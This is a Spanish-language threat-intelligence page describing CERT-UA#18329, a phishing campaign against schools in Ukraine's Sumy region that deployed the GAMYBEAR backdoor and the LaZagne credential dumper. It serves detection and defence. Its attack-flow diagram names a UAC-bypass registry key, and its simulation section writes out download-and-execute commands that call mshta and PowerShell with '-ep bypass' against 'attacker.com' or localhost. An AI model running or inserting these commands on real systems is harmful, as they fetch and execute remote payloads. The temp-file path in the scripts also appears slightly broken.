SOC Prime Bias: Crítico

20 Nov 2025 16:35

Ciberataque dirigido a una escuela del este de Ucrania usando la herramienta GAMYBEAR (CERT-UA#18329)

Author Photo
Ruslan Mikhalov Chief of Threat Research at SOC Prime linkedin icon Follow
Ciberataque dirigido a una escuela del este de Ucrania usando la herramienta GAMYBEAR (CERT-UA#18329)
shield icon

Detection stack

  • AIDR
  • Alert
  • ETL
  • Query

Resumen

Una campaña de robo de credenciales afectó a escuelas y agencias públicas en la región de Sumy a través de un correo electrónico de phishing que contenía un adjunto ZIP. Al abrir el archivo, se activó un archivo HTA mediante la mshta herramienta, que luego descargó scripts de PowerShell para implementar la puerta trasera GAMYBEAR y el volcado de credenciales LaZagne, establecer un C2 basado en HTTP y exfiltrar archivos de directorios seleccionados.

Análisis del Ataque

CERT-UA vinculó la brecha inicial a un mensaje de phishing enviado el 26 de mayo de 2025 desde una cuenta de Gmail secuestrada, proporcionando los detalles de la campaña en la alerta CERT-UA#18329. El análisis forense expuso una cadena de infección en múltiples etapas: ZIP → HTA → update.js → PowerShell → GAMYBEAR acompañado del malware LaZagne, con persistencia mantenida a través de una entrada de Run en el registro y descargas recurrentes de URLs maliciosas.

Mitigación

Implemente la autenticación multifactor para todas las cuentas de correo electrónico, bloquee la ejecución de scripts HTA y PowerShell no confiables, asegure la clave de ejecución de Run en el registro e implemente una lista blanca de aplicaciones. Actualice continuamente las reglas de detección en los endpoints para reconocer los nombres de archivo, hashes e indicadores de red referenciados.

Respuesta

Aísle prontamente los endpoints afectados, restablezca las credenciales comprometidas de Gmail, reúna todos los IOC identificados y ejecute escaneos exhaustivos para GAMYBEAR, LaZagne y artefactos asociados. Informe a CERT-UA sobre el incidente y distribuya los IOC a través de los canales relevantes de intercambio de inteligencia sobre amenazas.

graph TB %% Class definitions classDef action fill:#99ccff classDef tool fill:#ffcc99 classDef malware fill:#ff9999 classDef process fill:#ccccff %% Nodes action_phishing[«<b>Acción</b> – <b>T1566.001 Phishing: adjunto de spearphishing</b><br/>Se comprometió una cuenta universitaria de Gmail y se enviaron correos de spearphishing con un adjunto ZIP llamado \»Накaз № 332\».»] class action_phishing action tool_mshta[«<b>Herramienta</b> – <b>Nombre</b>: mshta.exe<br/><b>Técnica</b>: T1218.005 Ejecución proxy de binarios del sistema»] class tool_mshta tool malware_hta[«<b>Malware</b> – <b>Nombre</b>: zvit.hta (aplicación HTML)<br/>Ejecutado mediante el acceso directo entregado en el ZIP.»] class malware_hta malware action_powershell[«<b>Acción</b> – <b>T1059.001 Intérprete de comandos y scripting: PowerShell</b><br/>El HTA lanzó update.js, que inició updater.ps1. PowerShell descargó binarios adicionales (be53ff4f4b5daa.exe, svshosts.exe) desde servidores HTTP remotos.»] class action_powershell action tool_ps2exe[«<b>Herramienta</b> – <b>Nombre</b>: PS2EXE<br/><b>Técnica</b>: T1027.004 Compilar después de la entrega (ofuscación)»] class tool_ps2exe tool action_uac_bypass[«<b>Acción</b> – <b>T1548.002 Abuso de mecanismos de control de elevación: evasión de UAC</b><br/>Se creó la clave HKCU\\Software\\Classes\\ms-settings\\Shell\\Open\\command con el valor DelegateExecute para evadir el Control de Cuentas de Usuario.»] class action_uac_bypass action action_persistence[«<b>Acción</b> – <b>T1547.014 Ejecución automática en arranque o inicio de sesión: Active Setup</b><br/>Se añadieron entradas en HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run (IEUpdater, ServiceUpdateService) para ejecutar los binarios al iniciar sesión.»] class action_persistence action tool_registry[«<b>Herramienta</b> – <b>Nombre</b>: modificación del Registro<br/><b>Técnica</b>: persistencia mediante claves Run»] class tool_registry tool action_credential_dump[«<b>Acción</b> – <b>T1003 Volcado de credenciales del sistema operativo</b><br/>Se ejecutó LaZagne (be53ff4f4b5daa.exe) para extraer contraseñas almacenadas y otras credenciales.»] class action_credential_dump action tool_lazagne[«<b>Herramienta</b> – <b>Nombre</b>: LaZagne<br/><b>Propósito</b>: recuperar credenciales guardadas de navegadores, clientes de correo y otras aplicaciones»] class tool_lazagne tool action_data_encoding[«<b>Acción</b> – <b>T1132 Codificación de datos</b><br/>Las comunicaciones entre los componentes del backdoor GAMYBEAR (svshosts.exe, ieupdater.exe) y el C2 se enviaron por HTTP con cargas codificadas en Base64.»] class action_data_encoding action malware_gamybear[«<b>Malware</b> – <b>Nombre</b>: backdoor GAMYBEAR<br/>Los componentes incluyen svshosts.exe e ieupdater.exe.»] class malware_gamybear malware %% Connections action_phishing u002du002d>|entrega| tool_mshta tool_mshta u002du002d>|ejecuta| malware_hta malware_hta u002du002d>|ejecuta| action_powershell action_powershell u002du002d>|usa| tool_ps2exe action_powershell u002du002d>|descarga| malware_gamybear action_powershell u002du002d>|crea| action_uac_bypass action_uac_bypass u002du002d>|modifica| tool_registry action_persistence u002du002d>|depende_de| tool_registry action_persistence u002du002d>|lanza| malware_gamybear action_credential_dump u002du002d>|usa| tool_lazagne tool_lazagne u002du002d>|recopila| action_data_encoding malware_gamybear u002du002d>|se_comunica_vía| action_data_encoding %% End of diagram

Flujo de Ataque

Simulaciones

Ejecución de la Simulación

Requisito previo: El Chequeo Previo de Telemetría y Línea Base debe haber sido aprobado.

Justificación: Esta sección detalla la ejecución precisa de la técnica del adversario (TTP) diseñada para activar la regla de detección. Los comandos y la narrativa DEBEN reflejar directamente los TTP identificados y apuntar a generar la telemetría exacta esperada por la lógica de detección.

  • Narrativa del Ataque y Comandos:

    1. Etapa 1 – Desplegar HTA malicioso: El atacante aloja evil.hta en un servidor web comprometido.

    2. Etapa 2 – Ejecutar vía mshta.exe: Usando un símbolo del sistema de Windows, el atacante ejecuta mshta.exe http://attacker.com/evil.hta. Esto crea un evento de creación de proceso con mshta.exe en la línea de comandos, cumpliendo la primera cláusula de la regla.

    3. Etapa 3 – Bypass de PowerShell: Para ejecutar una carga útil que evite la Política de Ejecución del sistema, el atacante lanza PowerShell con la bandera -ep bypass:

      PowerShell -ep bypass -Command "Invoke-WebRequest http://attacker.com/payload.ps1 -OutFile $env:TEMPp.ps1; & $env:TEMPp.ps1"

      Esto genera un segundo evento de creación de proceso que contiene la cadena exacta PowerShell -ep bypass, cumpliendo la segunda cláusula.

  • Guion de Prueba de Regresión: El siguiente script de PowerShell reproduce los pasos anteriores de manera automatizada y repetible.

    # -------------------------------------------------
    # Prueba de Regresión – Activar Regla Sigma para mshta & PowerShell -ep bypass
    # -------------------------------------------------
    
    # Variables – ajustar al entorno de su laboratorio
    $htaUrl   = "http://127.0.0.1/evil.hta"   # Debe apuntar a un archivo HTA accesible
    $psUrl    = "http://127.0.0.1/payload.ps1" # Carga útil PS simple (por ejemplo, `Write-Host "pwned"`)
    
    # 1. Invocar mshta.exe
    Write-Host "[*] Iniciando mshta.exe hacia $htaUrl"
    Start-Process -FilePath "mshta.exe" -ArgumentList $htaUrl -NoNewWindow
    
    # Pausa breve para asegurar los registros del proceso
    Start-Sleep -Seconds 2
    
    # 2. Invocar PowerShell con bypass de política de ejecución
    $psCmd = "Invoke-WebRequest $psUrl -UseBasicParsing -OutFile $env:TEMPp.ps1; & $env:TEMPp.ps1"
    Write-Host "[*] Iniciando PowerShell -ep bypass"
    Start-Process -FilePath "powershell.exe" -ArgumentList "-ep bypass -Command `"$psCmd`"" -NoNewWindow
    
    # Pausa para permitir el registro
    Start-Sleep -Seconds 5
    
    Write-Host "[+] Prueba completa. Revise su SIEM para alertas."
  • Comandos de Limpieza: Elimine archivos temporales y termine cualquier proceso de prueba persistente.

    # Limpiar carga útil temporal
    Remove-Item -Path "$env:TEMPp.ps1" -ErrorAction SilentlyContinue
    
    # Opcionalmente, elimine instancias persistentes de mshta o PowerShell generadas por la prueba
    Get-Process -Name mshta, powershell -ErrorAction SilentlyContinue | Where-Object { $_.Id -ne $PID } | Stop-Process -Force